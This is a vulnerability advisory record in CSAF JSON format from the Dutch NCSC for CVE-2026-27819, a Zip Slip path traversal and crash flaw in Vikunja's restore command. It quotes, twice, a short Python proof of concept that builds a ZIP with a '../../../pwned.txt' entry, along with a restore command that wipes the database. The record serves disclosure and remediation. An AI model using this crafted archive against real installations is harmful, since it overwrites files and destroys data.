{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-27819",
        "tracking": {
            "current_release_date": "2026-03-28T18:48:01.491525Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-27819",
            "initial_release_date": "2026-02-25T22:25:33.100746Z",
            "revision_history": [
                {
                    "date": "2026-02-25T22:25:33.100746Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T22:25:37.063800Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-02-25T22:39:00.962878Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T22:39:03.034331Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T11:47:55.276844Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (42).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T11:48:04.926228Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T14:13:32.795417Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-02-26T14:13:34.523513Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T15:39:46.669964Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T15:39:54.194880Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T18:12:39.093529Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T18:12:46.974431Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T22:09:41.088912Z",
                    "number": "13",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-05T17:24:46.259123Z",
                    "number": "14",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-05T17:24:48.788393Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T06:12:44.485739Z",
                    "number": "16",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                },
                {
                    "date": "2026-03-09T06:12:49.884734Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:39:42.549935Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:39:45.258373Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T18:47:58.679980Z",
                    "number": "20",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T18:48:00.257812Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "21"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=0.24.6",
                                "product": {
                                    "name": "vers:unknown/>=0|<=0.24.6",
                                    "product_id": "CSAFPID-5597060"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "api"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.21.0",
                                "product": {
                                    "name": "vers:unknown/0.21.0",
                                    "product_id": "CSAFPID-5602633"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<2.0.0",
                                "product": {
                                    "name": "vers:unknown/<2.0.0",
                                    "product_id": "CSAFPID-5712844"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1",
                                "product": {
                                    "name": "vers:unknown/v0.1",
                                    "product_id": "CSAFPID-5602634"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.10",
                                "product": {
                                    "name": "vers:unknown/v0.10",
                                    "product_id": "CSAFPID-5602635"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.11",
                                "product": {
                                    "name": "vers:unknown/v0.11",
                                    "product_id": "CSAFPID-5602636"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.12",
                                "product": {
                                    "name": "vers:unknown/v0.12",
                                    "product_id": "CSAFPID-5602637"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13",
                                "product": {
                                    "name": "vers:unknown/v0.13",
                                    "product_id": "CSAFPID-5602638"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.13.1",
                                "product": {
                                    "name": "vers:unknown/v0.13.1",
                                    "product_id": "CSAFPID-5602639"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.14.0",
                                "product": {
                                    "name": "vers:unknown/v0.14.0",
                                    "product_id": "CSAFPID-5602640"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.15.0",
                                "product": {
                                    "name": "vers:unknown/v0.15.0",
                                    "product_id": "CSAFPID-5602641"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.16.0",
                                "product": {
                                    "name": "vers:unknown/v0.16.0",
                                    "product_id": "CSAFPID-5602642"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.17.0",
                                "product": {
                                    "name": "vers:unknown/v0.17.0",
                                    "product_id": "CSAFPID-5602643"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.18.0",
                                "product": {
                                    "name": "vers:unknown/v0.18.0",
                                    "product_id": "CSAFPID-5602644"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.18.1",
                                "product": {
                                    "name": "vers:unknown/v0.18.1",
                                    "product_id": "CSAFPID-5602645"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.0",
                                "product": {
                                    "name": "vers:unknown/v0.19.0",
                                    "product_id": "CSAFPID-5602646"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.1",
                                "product": {
                                    "name": "vers:unknown/v0.19.1",
                                    "product_id": "CSAFPID-5602647"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.19.2",
                                "product": {
                                    "name": "vers:unknown/v0.19.2",
                                    "product_id": "CSAFPID-5602648"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2",
                                "product": {
                                    "name": "vers:unknown/v0.2",
                                    "product_id": "CSAFPID-5602649"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.0",
                                "product": {
                                    "name": "vers:unknown/v0.20.0",
                                    "product_id": "CSAFPID-5602650"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.1",
                                "product": {
                                    "name": "vers:unknown/v0.20.1",
                                    "product_id": "CSAFPID-5602651"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.3",
                                "product": {
                                    "name": "vers:unknown/v0.20.3",
                                    "product_id": "CSAFPID-5602652"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.4",
                                "product": {
                                    "name": "vers:unknown/v0.20.4",
                                    "product_id": "CSAFPID-5602653"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.20.5",
                                "product": {
                                    "name": "vers:unknown/v0.20.5",
                                    "product_id": "CSAFPID-5602654"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.21.0",
                                "product": {
                                    "name": "vers:unknown/v0.21.0",
                                    "product_id": "CSAFPID-5602655"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.22.0",
                                "product": {
                                    "name": "vers:unknown/v0.22.0",
                                    "product_id": "CSAFPID-5602656"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.22.1",
                                "product": {
                                    "name": "vers:unknown/v0.22.1",
                                    "product_id": "CSAFPID-5602657"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.23.0",
                                "product": {
                                    "name": "vers:unknown/v0.23.0",
                                    "product_id": "CSAFPID-5602658"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.24.1",
                                "product": {
                                    "name": "vers:unknown/v0.24.1",
                                    "product_id": "CSAFPID-5602659"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3",
                                "product": {
                                    "name": "vers:unknown/v0.3",
                                    "product_id": "CSAFPID-5602660"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4",
                                "product": {
                                    "name": "vers:unknown/v0.4",
                                    "product_id": "CSAFPID-5602661"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.5",
                                "product": {
                                    "name": "vers:unknown/v0.5",
                                    "product_id": "CSAFPID-5602662"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6",
                                "product": {
                                    "name": "vers:unknown/v0.6",
                                    "product_id": "CSAFPID-5602663"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7",
                                "product": {
                                    "name": "vers:unknown/v0.7",
                                    "product_id": "CSAFPID-5602664"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8",
                                "product": {
                                    "name": "vers:unknown/v0.8",
                                    "product_id": "CSAFPID-5602665"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9",
                                "product": {
                                    "name": "vers:unknown/v0.9",
                                    "product_id": "CSAFPID-5602666"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0",
                                "product": {
                                    "name": "vers:unknown/v1.0.0",
                                    "product_id": "CSAFPID-5602667"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-rc0",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-rc0",
                                    "product_id": "CSAFPID-5602668"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-rc1",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-rc1",
                                    "product_id": "CSAFPID-5602669"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-rc2",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-rc2",
                                    "product_id": "CSAFPID-5602670"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-rc3",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-rc3",
                                    "product_id": "CSAFPID-5602671"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-rc4",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-rc4",
                                    "product_id": "CSAFPID-5602672"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.1.0",
                                "product": {
                                    "name": "vers:unknown/v1.1.0",
                                    "product_id": "CSAFPID-5727729"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/vue3",
                                "product": {
                                    "name": "vers:unknown/vue3",
                                    "product_id": "CSAFPID-5602673"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "vikunja"
                    }
                ],
                "category": "vendor",
                "name": "go-vikunja"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=0.24.6",
                                "product": {
                                    "name": "vers:unknown/<=0.24.6",
                                    "product_id": "CSAFPID-5847612"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "go/code.vikunja.io/api"
                    }
                ],
                "category": "vendor",
                "name": "code.vikunja.io"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<2.0.0",
                                "product": {
                                    "name": "vers:unknown/<2.0.0",
                                    "product_id": "CSAFPID-5763289",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "vikunja"
                    }
                ],
                "category": "vendor",
                "name": "vikunja"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-27819",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.0.0, the restoreConfig function in vikunja/pkg/modules/dump/restore.go of the go-vikunja/vikunja repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently. The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory. The restoration logic assumes a specific directory structure within the ZIP. When provided with a \"minimalist\" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic. Version 2.0.0 fixes the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27819"
                },
                {
                    "category": "description",
                    "text": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.0.0, the restoreConfig function in vikunja/pkg/modules/dump/restore.go of the go-vikunja/vikunja repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently. The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory. The restoration logic assumes a specific directory structure within the ZIP. When provided with a \"minimalist\" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic. Version 2.0.0 fixes the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27819"
                },
                {
                    "category": "description",
                    "text": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.0.0, the restoreConfig function in vikunja/pkg/modules/dump/restore.go of the go-vikunja/vikunja repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently. The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory. The restoration logic assumes a specific directory structure within the ZIP. When provided with a \"minimalist\" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic. Version 2.0.0 fixes the issue.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27819.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nPath Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.\n\n### Details\n\nThe restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.\n\nThe application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.\n\nThe restoration logic assumes a specific directory structure within the ZIP. When provided with a \"minimalist\" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.\n\n### PoC\n\nWhen provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.\n\nReproduction Steps:\n1. Preparation: Generate vikunja_critical_poc.zip.\n2. Execution: Run echo \"Yes, I understand\" | vikunja restore vikunja_critical_poc.zip.\n3. Observation:\na. The application logs INFO: Wiped database.\nb. The application immediately follows with: panic: runtime error: index out of range [-2].\n4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.\n\nReproduction Python Script:\n\n    import zipfile\n\n    VIKUNJA_VERSION = \"v1.1.0\" \n    ZIP_NAME = \"vikunja_critical_poc.zip\"\n\n    def create_poc():\n        with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:\n            # Mandatory version file to pass initial check\n            zipf.writestr('VERSION', VIKUNJA_VERSION)\n\n            # Malicious traversal path\n            # This triggers the traversal logic and the index panic simultaneously\n            zipf.writestr('../../../pwned.txt', \"Vulnerability Confirmed.\")\n        print(f\"[+] {ZIP_NAME} created.\")\n\n    if __name__ == \"__main__\":\n        create_poc()\n\n\nStack Trace:\ntime=2026-02-21T23:07:22.707Z level=INFO msg=\"Wiped database.\" panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085\n\n\nRemediation:\nSanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing.\nImplement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.\n\nProposed Fix for restore.go:\n\n    // 1. Sanitize the filename\n    filename := filepath.Base(configFile.Name)\n    dstPath := filepath.Join(extractionDir, filename)\n\n    // ...\n\n    // 2. Prevent Index Out of Range Panic (Line 154)\n    if len(ms) < 2 {\n        return fmt.Errorf(\"invalid migration sequence in backup archive\")\n    }\n    lastMigration := ms[len(ms)-2]\n\n### Impact\n\nVulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception)\nAffected Component: pkg/modules/dump/restore.go\nImpact: Arbitrary File Write and Permanent Data Loss\nStatus: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days.\nSource File: pkg/modules/dump/restore.go\nFunctions: Restore, restoreConfig\nLine Number: 154 (v1.1.0)\nCommand: vikunja restore <path_to_zip>\n\nAffected Party: Any administrator or automated process utilizing the vikunja restore CLI command.\n1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk.\n2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.",
                    "title": "github - https://github.com/advisories/GHSA-42wg-38gx-85rh"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nPath Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.\n\n### Details\n\nThe restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.\n\nThe application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.\n\nThe restoration logic assumes a specific directory structure within the ZIP. When provided with a \"minimalist\" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.\n\n### PoC\n\nWhen provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.\n\nReproduction Steps:\n1. Preparation: Generate vikunja_critical_poc.zip.\n2. Execution: Run echo \"Yes, I understand\" | vikunja restore vikunja_critical_poc.zip.\n3. Observation:\na. The application logs INFO: Wiped database.\nb. The application immediately follows with: panic: runtime error: index out of range [-2].\n4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.\n\nReproduction Python Script:\n\n    import zipfile\n\n    VIKUNJA_VERSION = \"v1.1.0\" \n    ZIP_NAME = \"vikunja_critical_poc.zip\"\n\n    def create_poc():\n        with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:\n            # Mandatory version file to pass initial check\n            zipf.writestr('VERSION', VIKUNJA_VERSION)\n\n            # Malicious traversal path\n            # This triggers the traversal logic and the index panic simultaneously\n            zipf.writestr('../../../pwned.txt', \"Vulnerability Confirmed.\")\n        print(f\"[+] {ZIP_NAME} created.\")\n\n    if __name__ == \"__main__\":\n        create_poc()\n\n\nStack Trace:\ntime=2026-02-21T23:07:22.707Z level=INFO msg=\"Wiped database.\" panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085\n\n\nRemediation:\nSanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing.\nImplement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.\n\nProposed Fix for restore.go:\n\n    // 1. Sanitize the filename\n    filename := filepath.Base(configFile.Name)\n    dstPath := filepath.Join(extractionDir, filename)\n\n    // ...\n\n    // 2. Prevent Index Out of Range Panic (Line 154)\n    if len(ms) < 2 {\n        return fmt.Errorf(\"invalid migration sequence in backup archive\")\n    }\n    lastMigration := ms[len(ms)-2]\n\n### Impact\n\nVulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception)\nAffected Component: pkg/modules/dump/restore.go\nImpact: Arbitrary File Write and Permanent Data Loss\nStatus: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days.\nSource File: pkg/modules/dump/restore.go\nFunctions: Restore, restoreConfig\nLine Number: 154 (v1.1.0)\nCommand: vikunja restore <path_to_zip>\n\nAffected Party: Any administrator or automated process utilizing the vikunja restore CLI command.\n1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk.\n2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-42wg-38gx-85rh.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Vikunja has Path Traversal in CLI Restore in code.vikunja.io/api",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4556.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.",
                    "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fcode.vikunja.io%2Fapi%2FCVE-2026-27819.yml/raw"
                },
                {
                    "category": "other",
                    "text": "0.00075",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.2",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, There is exploit data available from source Nvd, The value of the most recent EPSS score, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5712844",
                    "CSAFPID-5602633",
                    "CSAFPID-5602634",
                    "CSAFPID-5602635",
                    "CSAFPID-5602636",
                    "CSAFPID-5602637",
                    "CSAFPID-5602638",
                    "CSAFPID-5602639",
                    "CSAFPID-5602640",
                    "CSAFPID-5602641",
                    "CSAFPID-5602642",
                    "CSAFPID-5602643",
                    "CSAFPID-5602644",
                    "CSAFPID-5602645",
                    "CSAFPID-5602646",
                    "CSAFPID-5602647",
                    "CSAFPID-5602648",
                    "CSAFPID-5602649",
                    "CSAFPID-5602650",
                    "CSAFPID-5602651",
                    "CSAFPID-5602652",
                    "CSAFPID-5602653",
                    "CSAFPID-5602654",
                    "CSAFPID-5602655",
                    "CSAFPID-5602656",
                    "CSAFPID-5602657",
                    "CSAFPID-5602658",
                    "CSAFPID-5602659",
                    "CSAFPID-5602660",
                    "CSAFPID-5602661",
                    "CSAFPID-5602662",
                    "CSAFPID-5602663",
                    "CSAFPID-5602664",
                    "CSAFPID-5602665",
                    "CSAFPID-5602666",
                    "CSAFPID-5602667",
                    "CSAFPID-5602668",
                    "CSAFPID-5602669",
                    "CSAFPID-5602670",
                    "CSAFPID-5602671",
                    "CSAFPID-5602672",
                    "CSAFPID-5602673",
                    "CSAFPID-5727729",
                    "CSAFPID-5597060",
                    "CSAFPID-5763289",
                    "CSAFPID-5847612"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27819"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27819"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-27819"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27819.json"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27819.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27819"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-42wg-38gx-85rh"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-42wg-38gx-85rh"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-42wg-38gx-85rh.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4556.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - gitlab",
                    "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fcode.vikunja.io%2Fapi%2FCVE-2026-27819.yml/raw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-42wg-38gx-85rh"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://vikunja.io/changelog/vikunja-v2.0.0-was-released"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27819.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27819"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab; osv",
